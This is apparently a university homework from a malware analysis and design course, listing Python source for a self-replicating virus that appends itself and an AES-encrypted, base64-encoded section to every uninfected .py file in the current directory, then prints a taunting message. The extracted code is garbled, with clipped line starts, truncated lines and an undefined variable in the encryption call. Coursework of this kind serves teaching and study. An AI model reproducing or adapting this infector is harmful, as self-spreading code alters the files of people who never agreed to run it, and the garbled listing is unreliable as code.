Malware analysis and design
Homework No. 3

Vincenzo Arceri VR386484
Giovanni Liboni VR387955
Alberto Marini

May 20, 2016

```
f is_infected(filename):
 f = open(filename, 'r')
 lines = f.readlines()
 if len(lines) < 46:
    return False
 #print len(lines)
 #print lines[len(lines) - 46]
 return lines[len(lines) - 46].startswith('##########################################

f infect(filename):
 os.rename(filename, filename + '-copy')

 destination = open(filename, 'w')
 source = open(filename + '-copy', 'r')
 this = open(__main__.__file__, 'r')

 # Append the original file
 for line in source:
    destination.write(line)

 destination.write("\n############################################################ First
 destination.write("# coding=utf-8\n")
 destination.write("# Start Uncrypted\n")

 copy = False
 result = ''
 for line in this:
    if line.strip() == '# Start Uncrypted':
       copy = True
```

```
30      elif line.strip() == '# End Uncrypted':
31          destination.write('# End Uncrypted')
32          copy = False
33      elif copy:
34          destination.write(line);
35
36  destination.write("\n# Start payload\n")
37  destination.write("#")
38  destination.write(str(encrypt(e, filename)))
39  destination.write("\n# End payload")
40
41  os.remove(filename + '-copy')
42  source.close()
43  destination.close()
44  this.close()
45
46 f find_and_infect_files():
47  # In the current directory
48  path = '.'
49  dirs = os.listdir(path)
50
51  # For each file try to infect it
52  for filename in dirs:
53      if filename.endswith('.py') and (not is_infected(filename)) and (filename != "v
54          print "Infected " +  str(filename)
55          infect(filename)
56
57 f encrypt(data,filename):
58  source = open(filename + '-copy', 'r')
59
60  iv = Random.new().read(AES.block_size)
61  cipher = AES.new(StringIO.StringIO(source).read(24), AES.MODE_CFB, iv)
62  encrypted = iv + cipher.encrypt(data)
63
64  source.close()
65  return base64.b64encode(encrypted)
66 ####################
67
68 f payload():
69  print "This file is infected infected! Mhuahauhauahau!"
70
71 nd_and_infect_files()
72 yload()
```